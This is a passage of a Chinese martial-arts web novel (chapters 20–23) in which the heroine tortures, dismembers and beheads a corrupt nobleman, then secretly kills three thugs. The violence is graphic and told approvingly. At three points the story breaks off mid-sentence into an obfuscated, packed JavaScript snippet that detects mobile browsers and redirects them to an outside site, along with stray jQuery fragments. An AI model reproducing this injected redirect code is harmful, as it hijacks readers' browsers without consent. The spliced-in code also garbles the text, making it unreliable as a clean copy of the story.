说罢笑了笑,继续问话,“我且问你,福来居那条街上叫枭哥的小乞丐是被谁打的?” 薛通此时都气懵了,这辈子没受过这等屈辱,还哪管她问的什么话,张嘴就骂,脏的浑的来了个遍,总之没有一句堪能入耳。 长辞敛了笑意,眸光一冷,“咻”地一声,一个类似飞镖的东西流星般快速划过薛通耳畔,他感觉耳侧一凉,好似有什么东西掉了下来,黏黏腻腻,正落在他手上。 薛通睁眼一看,竟是、是、是……他的右耳! “啊啊啊!” 薛通眼睛瞪得如碗口那么大,这个疯子,她怎么敢?!她怎么敢如此对他?!若说方才他还只是略有不安,那么此刻,扑面而来的惊恐则占据了他整个身体。 长辞对他的反应还算满意,闻声又笑了起来,双腿搭在空中一前一后地晃悠。 “现在可以说了吗?” “我说,我说!”薛通忍着痛,紧紧盯着那妖女手上的动作,生怕她一个不注意又砍了自己另一只耳朵,“是我让人打的。” “什么人?你那些侍卫还是别的什么?” 对付个小乞丐自然还用不上他的人,“是、是昇州的几个混混。” “叫什么名字?” “不知道。”这些事都是手下人去办的,他矜贵无比,又怎会记得这些蝼蚁姓甚名谁,可又实在惧怕长辞砍他,咬牙补充道:“昇州城,斜柳街,你去打听,欺男霸女的就那几个。” 长辞满意一笑,歪着头拿起桌上的铁链把玩了片刻。 “话问完了,现在来说说你的事。”说着从怀里拿出来一沓密密麻麻写着什么东西的纸张,跳下长桌向他走近。 “这些是我收集到的你这么多年来的所有罪证。”长辞大手一挥,“行了,你也用不着细看,直接在上面签字画押吧。” “哦,等等。”长辞似乎又想到了什么,返回桌案拎起一支笔蘸了墨,“唰唰唰”地在一张空白纸张上写下薛通伙同柳庭月陷害她之事,写毕吹干墨迹,一齐递到了薛通眼前。 “签吧。” 她这话说的简单,殊不知薛通此时却比刀架在脖子上还难受,他以前干的那些事,太后回回保他,那是因为都没闹到明面上,没有实打实的证据,如今倒好,自个儿白纸黑字写的明明白白,这不是正给了别人治他罪的机会吗! 若是真认了罪,别说是他,就是整个薛家都极有可能受到牵连……这供词他万万不能认。 长辞也料想到了会是如此,就地取材从桌上拈起那几枚银针。 “我劝你还是认吧,早认早上路,你也知道这世上叫人生不如死的法子有很多,若是我一一都用在你的身上,你怕是连转世投胎的力气都没有了。” 薛通以前对别人使过不少阴毒的手段,对这些玩意儿再熟悉不过,此刻盯着长辞手里的银针,胆寒到几欲晕厥。 20. 第 20 章 “你要干什么!” 一枚银针飞入他头部穴位,薛通瞳孔一震,这才真正意识到这女人是真的打算杀了他! 不对,不对,她不敢!他可是藩镇势力中最强的范阳节度使的嫡长孙,太后是他血亲,谁敢动他一根汗毛! 这时,铁链一头被人拴在横梁,一头“啪嗒”扣在薛通双臂,方才还半吊着的人被迫呈“大”字直立起来。 这姿势扯得他四肢百骸都开始发疼,他终于慌了神,彻底知道害怕了,声音颤得不成样子,“女侠!女侠饶命!求求你放过我吧,只要你不杀我,你要什么东西我都可以给你!” “好啊。”长辞微微一笑。 薛通没想到她这么容易就答应了,纵使心里恨不得活剐了她,面上也是装得一副讨好的样子,“姑娘尽管开口,薛某、薛某一定竭尽全力去办。” “我想让你收回方才侮辱宁王府姜侧妃的那些话。”长辞眨眨眼睛,一副天真烂漫之姿,“太难听了,我听了有些恶心。” “好、好说,好说,我收回,我发誓以后再不敢对宁王妃出言不逊,姑娘这下可以放了我吧。”薛通心道,果真还是个黄毛丫头,原来只是记恨着这个事,待他再努努力,一准能诓得她放了自己。 谁知他还没开口,那人却不高兴道:“你怎么还不收回?” “收、收回了啊。”薛通顿感不妙。 “没有啊。”长辞一脸认真,“你要是已经收回去了,那我怎么还是很恶心呢?” 话一甫落,薛通突然感觉通体发凉,背后如有数仗巨蟒,张着血盆大口朝他呼啸而来。 不对,一个小姑娘有什么好怕的!薛通边安慰自己边故作镇定道,“那姑娘不妨说说这句话该如何收回?小人、小人一定收回。” 用银子?还是用旁的什么? “当然是——”长辞莞尔一笑,跃上空中,从薛通腰间抽出一把长剑,只听“噗呲”一声,鲜血霎时染红了她半张笑脸。 她伸手抹去脸上的血渍,歪头笑道:“要这么收回了。” 薛通瞳孔骤缩,一时间忘记了疼痛,仰头难以置信地盯着挂在铁链上的那一截手臂,喉中已发不出任何声响,他像看怪物一般看向眼前笑嘻嘻的女子,久久不能回神。 过了不知多久,才从喉咙挤出一丝沙哑的叫声。 庄慕怀与江入年赶到时,看到的正是这一幅场景…… 方才两人出了城,见薛通的手下正鬼鬼祟祟地等在城门口,抓住一问才知道,人是被绑到了几里开外的庄子上。 两人在城外驿站借了马,快马加鞭来到此处。江入年刚一落在屋顶,取下一片瓦砾,还没来得及看清屋里是什么状况,就被呲出来的血溅了一脸,顿时一个趔趄跌坐下来。 “她她她……”江入年张着嘴巴“她”了半天,也没能说出一句囫囵话来。 庄慕怀亦是心惊。他是料到了长辞会将薛通教训一顿,可他死也没想到是这么教训的。 “进、进去吗?”江入年哆哆嗦嗦问。 “先看看。”庄慕怀留了私心,既已决定要与她联手取得大敖山宝物,那必得摸清她的路数才行,先看看她接下来会有什么动作再说吧。 昏黄灯光下的内屋。 薛通显然是已经彻底崩溃了,疯言疯语地大喊:“你敢杀我!你知道我是谁吗!我告诉你,薛家饶不了你!太后更饶不了你!” 长辞丝毫没有被他的吼叫声震慑住,只盯着他另一只完好无损的右臂,稍稍有些不耐烦,“你最好快点签字画押,别真惹恼了本姑娘,别说是你,就是太后我也敢杀。” 长辞心道,什么破太后?!助纣为虐,一并杀了就当为民除害! 说罢就要提剑。 薛通整个人都麻了,大喊一声:“我签!我签!” 铁链“哗啦”一声被放了下来,薛通也没挣扎着做什么多余的动作,径直走到桌前,按照长辞所示,在一张张证供上都签了字摁了手印。 谁料最后一笔刚落——一枚飞针“咻”地迅速向长辞的胸口而去,长辞闪身一躲,眼都不眨一下,提剑就将薛通那只放暗器的左臂也砍了下来。 动作快到在场几人都来不及思索。 这次长辞有了经验,一滴血都没有溅到自己身上。 她一扯铁链,那截断臂又重新挂在横梁上,就在江入年眼巴前晃啊晃的,顿时一股恶心的血腥味迎面袭来,江入年没忍住,扶着一旁与房檐齐高的树枝“哇哇”地吐了起来。 屋内又发出一串诡异又惨烈的叫声,薛通额间全是冷汗,想伸手去捂自己的伤口,这才发现两条手臂都已经被人砍断了。 “贱人!疯子!我做鬼也不会放过你!”方才暗算不成,他现下已经知道自己是必死无疑了,双眼就这么死死盯住长辞,恨不得将她千刀万剐。 “做鬼?” 长辞被逗笑了,“如果这世上真的有鬼,那么那些冤死在你手上成百上千的冤魂岂不是要日日纠缠于你,吃你的肉,喝你的血,将你的骨头剁碎了用来泡酒,好让你永世不得轮回。” 薛通又疼又惧,可还是用力从牙缝中挤出来一句话。 “你今日加害于我,终归不得好死,我是、是太后派去大敖山办秘差的亲信,你敢杀太后亲信……诛、诛你九族!” 长辞才不管什么九族十族的,反正这里连她个一亲半族都没有。 她不在意,可房顶上的人却对这句话上了心。 办差?什么秘密差事? 庄慕怀若有所思,薛通此时已是强弩之末,应该不至于死到临头了还要说谎。 可明明“大敖山宝物”一事朝廷曾发令,言明除加强大敖山一带军事巡防以外,对此江湖轶闻不作干涉,故而除去调到铜陵的一支地方军,其余并无动作。可太后此时却私下命人前往,究竟意欲何为? 要是薛通所言非虚,那这事儿还真就不单单只是江湖之争这么简单的了。 也就是说……太后极有可能暗地里还有什么图谋。或许除了薛通,此行一众人中,还隐藏着她别的势力。 “啊!!!” 房内撕心裂肺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083252|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫喊声打断了庄慕怀的思绪,他同江入年一起向下望去,只见薛通已被砍断手脚扔在了一个巨大的黑瓮中,两道血痕霎时从他眼眶中流了下来。 嘶吼了有一刻钟,薛通的嗓子显然是已经哑了,此刻双目无神地盯着前方,喃喃道:“你不得好死,不得好死,不得好死……” 江入年见状又是“哇哇”一阵吐。 边吐边听见长辞发出银铃般的笑声,笑得他直打哆嗦。 “我不得好死?” 长辞嘴角含着一抹讥诮的笑,“你强抢的女子中有几人是上吊自尽?几人自焚而亡?又有几人是被你的肮脏手段活活折磨至死?她们可曾做过一丁点的坏事,还不是照样不得好死!怎么你薛家天潢贵胄杀了人就没事,我杀了人就不得好死呢?” 她的脸上虽带着笑意,眼里却通红通红,似是已经杀红了眼,眸中带着一丝难以隐喻的兴奋和沉沦。 杀人?杀人不过是这个世上最简单的事。 提起自焚,长辞忽而想起了自己那个软弱无能最终引火自焚的母亲,内心说不清是怨恨还是悲凉。她脑海闪现出一个火光冲天的夜晚,屋子四面熊熊大火,母亲就立在屋中央,对着院外的她又哭又笑。 “别进来!别救我!让我死,让我干干净净地去死!” 长辞恍惚间回神,眼前这张薛通的脸不知怎么倏忽就扭曲成了她叔父的脸。没错,正是因为她的叔父玷污了她母亲,母亲才无颜苟活选择了自杀,那个人她恨了十几年,无时无刻都在想着如何才能亲手杀了他。 如今近在咫尺,长辞双手止不住地打颤。 她满腔愤恨,又诡异的有些窃喜。她提起长剑,脸上挂着淡淡的笑意,就这么干脆利落一刀砍了下去。 乍时鲜血四喷,一颗鲜血淋淋的头颅就这么滚啊滚,滚到了破烂木窗边。 恰巧就在月光底下。 江入年猛地瞧见,又没忍住转身扶着树干一顿狂吐。 就在这时,“砰”一声,烛台被人打翻在地,火苗遇上干草,“呼啦”一下就燃成一片。长辞定定地看着屋里七零八落的尸体,大脑一片空白,眼看火势就要蔓延至房梁,一根被烧着的横木将将砸下,她却依然呆立着一动不动。 庄慕怀“啧”一声,嘴里说着“麻烦”,身体却已经诚实的破窗而入。说时迟那时快,庄慕怀疾手一捞,迅速将还在发呆的长辞打横抱起,闪躲至一旁。 刚转过身,那横梁下一瞬就落在了方才长辞站过的地方。 庄慕怀心里一惊,囫囵话也来不及多说一句,抱着她就往庄子外冲。 直到跃出好几丈远的距离,这才喘着粗气停下来。他察觉到左臂火辣辣地疼,心想该不会是被火星子给撩了吧。 结果低头一看,却是怀中那个女人正闷头咬自己的胳膊。 庄慕怀气不打一处来,“狗啊你,松开。” 嘴里一松,长辞愣愣地抬头,半晌才回过神,“怎么是你?” “不然你以为是谁?” “歹人。” “……” 21. 第 21 章 见她眼神清明了不少,庄慕怀这才把她放下来。长辞伸长了脖子四处看,过了良久,似乎才反应上来今夕何夕。 她甩了甩脑袋,将脑海中那些一一闪过的“噩梦”抛之脑后,问道:“薛通那群属下呢?” “两个侍卫被我杀了,剩下的打手都是他临事雇的,我告诉他们你是当朝公主,薛通对你爱而不得这才失心疯绑了你,那几个打手吓得屁股尿流,连走带爬地逃了。” 言罢,庄慕怀双手叉腰,正等着她夸一句“行啊你”之类的好话,却不料这人愣愣地看着自己,似乎不敢相信,“装不坏你……脑子坏掉了?” “?” “你不是最怕惹祸上身么,今日这是怎么啦,自己竟往祸事里面跳?”长辞眯了眯眼,恢复了往日那副笑嘻嘻的样子。 看向他的神色带着几分探究,“喜欢上我啦?” “嗯,是挺喜欢的。” 心尖没由来一颤,长辞瞪大眼睛看他。谁知他神色如常,“想什么呢?我说的是那种对待盟友的喜欢,够疯,够强大,武功够高——” 顿了顿,又看着长辞的眼睛道:“我的确是喜欢至极。” “咳。”长辞被他看的耳根微红,下意识看向别处,“不管是哪种,总之今日谢谢你了。” “客气什么。”庄慕怀看出她的窘迫,追着她的眼神故意逗她,“你也用不着以身相许,方才那火势,任是谁我都会冲上去救的。” 长辞还没来得及回话,就听见背后传来一道怨气冲天的少年声。 “是吗哥?!你是这样的人吗!” 江入年头发四散,脸上抹着灰,衣服也有被火撩过的痕迹,整个人仿佛行走在崩溃的边缘。 “你看见火烧起来了为什么不告诉我!没看见我还在房顶上吐吗!出声提醒我一句会死啊!害我从房顶掉下来,差一点就被烧死了你知不知道!” 说罢又加重音量重复道:“烧死了啊!” “……”糟糕,怎么把这小子给忘了。 江入年真是快疯了! 他放着绫罗织锦制成的软塌不睡,大半夜跟他表哥跑出城外,又是被马颠,又是钻狗洞,刚钻出来就看见表哥在杀人,那鲜血都快飚到他脑门上了,他忍着恶心骑马到了庄子,以为这下终于可以结束了,谁知道比血溅脑门更恶心的还在后头! 那一幕简直……不!是好几幕!简直恶心得他胆汁都快吐出来了! 就在江入年以为自己已经遭受了此生最大的不幸时,没成想! 就在这时,房!塌!了! 没错,房顶竟然毫无预兆地坍塌了!他丝毫没有准备一屁股就坐在了火堆里,还好只是掉到了比较偏外侧的地方,这才幸免于难。 他慌忙之中还在担心表哥的安危,而他的表哥在干什么!竟然在这里谈情说爱!简直冷血,冷血至极! “那个……” “我不听我不听我不听。” 长辞看这孩子蓬头垢面,也是憋了一肚子的委屈没地儿撒,于是好心拍了拍他的背,“不然我们俩把他杀了,以解你心头之恨怎么样?” 江入年本来正浑身散发着怨气,忽地听她这么一说,吓了好大一跳!一下子跳到庄慕怀身后,“什、什么?你你你别乱来啊!” 江入年是真的是怕了她了,这女人今夜带给他的冲击力实在是太大,比他这辈子所受过的所有惊吓还要大!江入年此刻看长辞的眼神就像是在看一只吃人的恶鬼,生怕下一瞬这人就把自己和表哥给生吞活剥了。 他抓着庄慕怀的袖口止不住地颤抖,想喊表哥保护他,又觉得自己方才才吼过人家,表哥不砍了他都算好了,又怎么会帮他。 可、可是…… 江入年盯盯自己鼻头上的灰,又偷偷用余光打量表哥,弱弱地吞了吞口水,小心提醒道:“哥,我们可是有血亲的表兄弟,此妖女要是再杀人,你可不能对我见死不救啊……” “妖你个大头鬼!”长辞食指一屈,狠狠往江入年头上一敲。 这一敲,疼得江入年是吱哇乱叫,不过人倒是被敲得清醒了不少,清醒之后,也就觉得长辞没那么可怕了。 庄慕怀自知理亏,心说这孩子蠢是蠢了点,可待自己却一直都是诚心诚意,从小又没吃过什么苦,今日看样子确实是是受了大惊,遂拍了拍他肩膀,难得地干了件自己不十分擅长的事—— 安慰人。 “别怕,她打不过你。” “……” “她也就轻功好点,剑法根本不如你。” “哥……你认真的吗?”江入年一咽口水,他怎么觉得这女人就算让他两条胳膊两条腿,他也不是对手啊。 庄慕怀郑重地点了点头,“退一步讲,就算她比你武功强又如何,她有什么理由要杀你吗?” “……”这谁知道啊。 “再退一步,就算她杀了你又如何,男子汉大丈夫,大不了就是一死。” “?!” 江入年脸色更难看了,“哥!要不还是别退了吧……” 庄慕怀善解人意地点了点头,想起什么似的,随即又道:“对了,为表歉意,待会儿回城你不用爬狗洞了,我带你飞。” 什么!真的吗?那真是太好了! 江入年又忽然觉得自家表哥实在是太有人性了,生怕他下一刻就后悔似的,急忙喜笑颜开地点着头。 “嗯嗯!好!” 说着拍了拍身上的灰尘,跟什么都没发生过似的,美滋滋地往回走了。 长辞张大了嘴巴,不可思议地跟在后面,眼神虽落在那孩子身上,却是对着庄慕怀道:“这也太好哄了吧?!可怜见的,你平日里到底有多虐待他……” 庄慕怀摊手,“不知道,他从小就这样。” “……” 三人骑马快行,没一会儿的功夫就到了城门口。江入年正坐在马背上幻想着有朝一日,城下万众瞩目,而他白衣飘然提剑跃城楼,将敌军首领一剑斩于麾下。 那场面…… 正想得起劲着呢,忽然就被人一左一右往胳膊那么一架,顿时身体腾空而起,轻盈如羽,轻飘飘地就落在了城墙上。 “啊等等,我还没……” 没准备好…… 话没说话就已经落了地,于是略微不满道:“你们俩属鸟的吗?几丈高的城墙,说上就上……啊啊啊!” 话音方落,那二人又抓着他纵身一跃,飞身向下,吓得江入年心脏都卡到了嗓子眼,失重感不断加剧,想大声叫又怕惊动了守城门的官兵。 直到稳稳当当落在地上,江入年仍是眼冒金光,站都站不稳妥,还要扶着城墙念念叨叨,“我还没准备好,怎么就又、又下来了?” 长辞拍拍手掌,嫌弃地瞅了他两眼,“就你这样的,还天下第一山庄少庄主?榆林巷第一剑客?” 以往长辞每次揶揄江入年,江入年都要回两句嘴,但那是以前了,如今他可是亲眼目睹了长辞杀人的全过程,这哪还敢跟她叫板儿啊,只得夹起尾巴老老实实地回话。 “对不起是我骗了你,我是、呕……”想起薛通,又没忍住干呕了几下,“其实我只是榆林巷第二剑客。” “第二?” “就是等、咳咳。”江入年心虚地瞄了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083253|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼庄慕怀,低头小声道,“就是等现在的榆林巷第一剑客死了之后,我就是第一了。” “……” “真没想到,你们这剑客还是排队制的!”长辞显然是已经明白了他的意思,捂着肚子笑得前俯后仰,边笑边拍庄慕怀,“他这是要活活把你给熬死啊,哈哈哈。” 庄慕怀无奈地扒拉开她的手,“走了。” 他此刻满脑子想的都是薛通之死会造成什么后果,以及该如何善后,明显对这俩白痴的无聊对话丝毫不感兴趣。 走着走着,夜风里倏而飘来一阵馄饨汤的香气,长辞肚子应景地咕噜咕噜叫了几声。也是,宁王府设宴那都是只讲样式排场,哪有真正能让人吃饱饭的。 刚才又干了体力活,长辞这会儿已是饥肠辘辘,“哪儿的馄饨香啊,我快饿死了。” 江入年不可思议地瞪大双眼,“你竟然还吃得下饭!” 好可怕的女人! 一想到城外那个场景,他没忍住又干呕了几声。 长辞不欲理会,正要往馄饨摊的方向走,这时——黑夜中忽然有人叫她的名字。 “长辞!” 几人扭头去看,只见一道熟悉的身影气喘吁吁从远处跑了过来。 “你、你们……”张行简扶着晕头转向的额头,“你们干什么去了?院子里一个人都没有。” 长辞也没打算避着他,一五一十全都交代了。 倒也不是她想交代,主要这事确实是避无可避……先看看她自己,脸上沾着血迹还一身的血腥味,再看看江入年,一副刚被人从火海里提溜出来的受惊样,长辞实在是想不出这事儿该怎么圆。 张行简听罢倒吸一口凉气,脸色变了又变,“什么?!你是说、你是说……” “没错,是我杀了薛通,但我可先说清楚啊,这次真不是我主动挑的事,你要背律法就捡重点背。” 长辞捂好耳朵,准备接受一场口舌暴风雨的洗礼。 “杀的好!” “嗯??”其余三人齐回头。 张行简双拳紧握,“此人残杀无辜罪恶滔天,早已是律法所不容,奈何世道不公,上位者翻手为云覆手为雨,这才叫他逍遥法外至今!” “长辞,今日你为民除害,作为兄长我倍感骄傲,作为百姓我感激涕零。”张行简一口气说完,又是作揖又是行礼,“姑娘大义,请受张某一拜!” “……”等等,这不对劲啊,一定是哪里搞错了! 三人绕着圈将张行简围在中间,上下左右来回打量。 “这该不会是个假人吧?”江入年分析,“据话本里说,这世上有一门绝学,画骨画皮惟妙惟肖,如果不仔细看,完全看不出跟真人有什么差别。” “假的怎么会说话,还连声音都一模一样?” “那倒也是。” 张行简端端正正的站着,一脸正经,“入年,你昨日弄坏了你表哥玉笛上的暗器开关,前日……” “这真是我简哥!”江入年连拥带抱,“好了好了,不用说了,这个不是假的。” 长辞狐疑,“你们俩什么时候这么熟了?” “这你别管。”江入年生怕人知道似的,搂着张行简肩膀就往回走,“简哥,真没想到你这么开明啊,你一介儒生,整日满嘴的君子礼法,我们还以为你知道这事儿之后,一定会把长辞送去官府呢!” 谁知道他竟然会说杀得好。 张行简停下脚步,“杀人偿命,是要送官。” “什么?!”三人异口同声。 “不过,不是送她,是送我。” “?!” 22. 第 22 章 张行简看向江入年,慢条斯理地解释,“还有,我并非儒生,也不迂腐,我只是一个遵法守礼的大宋子民而已。” “原来你不是儒生啊,那你是哪一家的?”江入年好奇。 “哪一家都是,又哪一家都不是。吾习众家之所长,皆数化为己用。”张行简颇有兴致道,“说起这个啊,那就得先讲讲……” 眼看话题越跑越偏,长辞赶忙出手制止,“打住打住,什么叫送你去见官?难道你要替我顶罪不成?!” “正是如此。” 张行简的表情还真不像在开玩笑,“为免薛通再去为祸百姓,早在汴京之时我就计划要杀了他,然后再去衙门自首,奈何武力不济计划一拖再拖,最终也没能杀得了他,今日你此举也算是了了我素日一桩心愿,明日我便前去自首。” 江入年道:“杀个人还不简单,花点银子请个□□高手,一炷香的功夫就给你办妥了,用得着计划这么多年吗?” “可我没钱。” 庄慕怀道:“杀个人还不简单,你才高八斗学富五车,可以考科举入仕途,再一步步爬到权力巅峰,照样能杀了他。” “可我家里人不让入仕。” “不准你参加科考?!”也就是说不用读书了?江入年心道,怎么天底下还有这种好事?! 张行简点头。 长辞倒是想起来,杏林堂叶掌柜曾说过他这个外甥的确是因为跟家里起了些争执才投奔他的,难道说……就是因为这个? 可他家里人为什么不让他科考? 怕考不中没面子?不对啊,以他的才情学识分明可以一举中榜,别说是中榜了,就是一举前三甲也不是没有可能。那就是因为穷?这也不对,就算是家里拿不出钱来,那不是还有叶掌柜么,叶掌柜对他这个外甥还是很大方的,倒不至于一场科考的钱都凑不出来。 那还能是为什么呢?长辞第一次对张行简的身份产生了怀疑。 “咳咳。”庄慕怀轻轻咳了一声,与长辞对视一眼,示意她先解决张行简要报官自首的事。 哦对!眼下这才是重点。 “那个,你暂时还不能去坐牢?” “为何?” “你要是死了,那些古籍怎么办?” “不会死的。”张行简自信道:“依大宋律,我顶多判一个失手杀人的罪行,况且我此前在汴京收集了颇多薛通的罪证,依律亦可减刑,待我刑满释放,还是可以研究史文,著写书册。” “那怎么能行!” 长辞振振有词,“你也看到了,此行去大敖山寻宝人数之多,这里面不乏与你一般嗜书如命之辈,等你服完了刑狱,人家早把书给抢没了。” 张行简想了想,道:“此言有理,我看我们还是尽早出发前往大敖山吧!” “……”这态度是不是变得有点快了? 几人说着话从后门悄然回了宁王府。 …… 宁王府客院里栽着一棵石榴树,这树枝丫粗壮,瞧着是有些年头了,庄慕怀借着浓浓月色,坐在树下独酌。 屋内江入年和张行简的呼噜此起彼伏,与窗外“蛐蛐”的虫鸣声交织在一起,倒也还算和谐。 夜风温凉。一朵火红的石榴花倏地落在石案上,庄慕怀没忍住把它捡了起来,拿在手里端详,这花似燃着的火焰一般,赤而不艳,就跟长辞似的。 性子烈,风风火火,说杀人就杀人。 他这些年行事虽荒诞无常,可从来不是个多管闲事的性子,像今日这般头脑发热直接冲出城外的情况,还是头一次。 庄慕怀觉得自己一定是跟长辞那疯丫头待久了,近墨者黑,所以脑子才会坏掉,竟然在她杀薛通的时候不想着尽快撇清关系,而是上赶着帮她杀了那两个侍卫。 这下好了,一剑下去,日后再想撇清可就难了。太后本就看他不顺眼,到时候要是追究下来,陛下还真不一定保得住他。 烈酒入喉,漆黑的眸子往外一瞥,倏而看见院门口站着个人。 “这么晚了还往外跑?” 长辞馋猫似的咂巴咂巴嘴,“哎呀,没忍住去吃了一碗馄饨。”说着走过来倚着石榴树,靠坐在树下的石头上。 “怎么一个人喝闷酒?”长辞眨眨眼,“是怕我的事连累你啊?” 这丫头心还真跟明镜似的,庄慕怀笑笑,“我要是说不是,会不会显得太假?” “啧。”长辞白了他一眼,玩笑道:“还以为你多厉害呢,原来这么怕死?” “死倒不怕,怕诛九族。” 长辞歪着头看他,“那我不怕,你把这事儿推我身上就行。呐,就说你有心阻止,谁成想我武功太高直接一掌将你给拍晕了,待你醒来之时已是无力回天。” 庄慕怀挑眉,“够讲义气啊女侠,你就不怕诛九族?” “我在这儿又没什么九族。” 这话说者无意听者有心,庄慕怀自然而然就理解成了她在这个世上压根没有亲人,顿时神情一凝,握着玉盏的指节紧了紧,状似不经意间问: “你是孤儿?” 孤儿倒不至于。 只是钟离国那一大家子,长辞一想起来就颇为头疼……薄情的爹,懦弱的娘,强势的姐还有那个委曲求全的糊涂哥,以及她那群勾心斗角的叔父和堂兄弟们。 食指敲了敲眉心,“唉,就算是吧。” 小院一阵沉默。 庄慕怀似乎想说什么,又抿抿嘴唇压了下去。于是两人各怀心事,静静地抬头去看夜空中挂着的那轮明月。 …… 翌日是个阴雨天,长辞睡到午时才醒,用过膳食,听着窗外噼里啪啦的雨声又昏昏沉沉睡了过去。江入年不知道在外面得了什么惊天消息,一回来就叽叽喳喳的,声情并茂地讲给张行简听。 直到晚膳时分,长辞听张行简等人又议论起,才知道了此事。 原来是今日卯时值守的捕快去换班时,发现州衙门口扔着三具尸体,而这三具尸体不是别人,正是昇州城出了名的那三个赖皮刁棍。据说是昨个夜里喝醉了酒,三人发生口角,浑浑噩噩中互相殴打致死,仵作也已验过尸,确实是打斗中脑部受到重击而亡。 “就这么个事,值得你整整叫嚷了一下午?”长辞端着碗呼呼一吹,慢条斯理喝了口汤。 “自然不止这么简单,我可是听人说,昨个夜半子时,有人曾在巷子里看见过那三人,当时他们正抱着酒坛子喝酒划拳,就在这时!忽有天女从天而降,捏诀一算,且算出那几人恶贯满盈,顿时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083254|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勃然大怒,一气之下将他们的魂儿全都收走了!” 江入年手上捏着个卤鸡腿,讲得眉飞色舞,经历过长辞杀薛通一事之后,江入年觉得自己仿佛任督二脉被打通了,死老鼠也不怕了,死尸也不怕了,不仅如此,还能面不改色一边聊尸体一边吃东西。 正说到兴头上,一回头却见长辞只顾着吃饭,压根就没听他说话。 “哎,你怎么一点都不好奇?” “去去去,别挡着光。”长辞把江入年往旁边那么一扒拉,继续淡定地喝她的汤。 一旁庄慕怀饶倒是有兴趣地问了句,“什么天女?长什么样子,美还是丑?你确定是天女而不是疯女么?” 说到“疯女”两个字时,还意有所指地看了看长辞。 长辞狠狠挖了他一眼。 江入年狐疑地看着他们,不对劲,这很不对劲! 怎么一向对坊间谣传置之不理的表哥,今日竟对这些无稽之谈感兴趣了?!而一向最爱看热闹的长辞,又为什么对这么有趣的怪谈都不感兴趣了? 正揣着下巴打量他们俩,就听见小院外传来一阵脚步声,往外一瞅,原来是姜云背着药箱从外面回来了。 长辞看见姜云忙放下碗道:“姜姐姐,那小鬼怎么样?” “别担心,那孩子性命已无大碍。” 姜云受长辞之托,今日去城东石桥外的破庙口给那日见过的小乞丐诊治。她进屋时,那位城中最有名的乔老郎中正摸着胡子叮嘱他,“小兄弟,此病须戒骄戒躁,静养三月,你好生歇着。” 而那小乞丐全身裹着纱布,腿脚被吊在梁上,全然不听老先生之言,正在龇牙咧嘴地教训一旁的小弟。 姜云从未见过都伤成这样了还如此活泼好动的孩子,简直跟阿辞似的,一天到晚有使不完的劲儿,遂给他施了安神针,这才让他消停了会儿。 长辞擦擦嘴,听姜云说完他的状况,点点头,“行,没死就行。” “那孩子精神头可真好。” 姜云放下药箱,接过阿朱手里的帕子净了净手,“一听说州衙门口那三具尸体就是打伤自己的几个恶霸,当即就要下地庆贺一番,还好被旁边的小兄弟拦下了,伤口才没崩裂。” “怎么这么巧?死的人刚好就是揍过他的那几个?”庄慕怀眯着眼看长辞。 “现世报呗!”江入年握着剑,一副很解气的样子,“这就叫天道好轮回,善恶终有报,还好他们没遇见小爷我,不然死得更快!” 吹牛吧就,众人都丝毫没有要搭理他的意思,各忙各的去了。 此刻太阳还没完全落山,长辞一个人趴在湖心亭的栏杆上喂鱼。 不过还没喂一会儿就听见背后传来一阵脚步声。她余光一瞥,看见庄慕怀手上提着一口装鱼饵的小罐,抓了一把撒在湖中央。 不少游鱼都被吸引了过去,穿过荷茎的空隙争先恐后地去抢食吃。 “那几个恶霸是你杀的吧?嗯?”庄慕怀从鼻腔轻轻发出一声疑问。 见她不言,又语气稀松平常道,“是在昨晚出去吃馄饨的时候?” 这话看似是在问她,语气里却满是笃定。长辞头枕在胳膊上,用食指轻轻点了点茶盏里的水,在栏杆上无聊地画圈圈,装作没听到一般。 23. 第 23 章 “跟谁学的这暴脾气,一言不合就杀人?”庄慕怀都不知道说什么好了,坐在旁边拿鱼食逗她,“嘬嘬。” “一边去!”长辞伸手拍掉眼前那只爪子,又扭头去看湖中刚冒出尖尖角的荷叶,半晌才答,“天生的。没听说过人之初,性本恶吗?” “怎么,杀人有瘾啊?”庄慕怀眉头轻蹙,就这性格,一天到晚得招来多少杀身之祸?难怪当初姜云救她时说她已是奄奄一息…… 真是惹事的丫头! 长辞敏锐地观察到他情绪的变化,不解道,“我又没杀你,你生什么气?” “关心你,怕你伤到自己。” “我看你是关心自己的同盟吧,怕我万一要是死掉了,要再去找这种没靠山不涉党争武功又高的人可就不容易了?”长辞一语道破。 “随你怎么说。”庄慕怀也不反驳,“只是,杀人终归不好。” 这话能从他嘴里说出来也真是奇了,长辞“噗嗤”一笑,难得有了跟他谈论此事的心情。 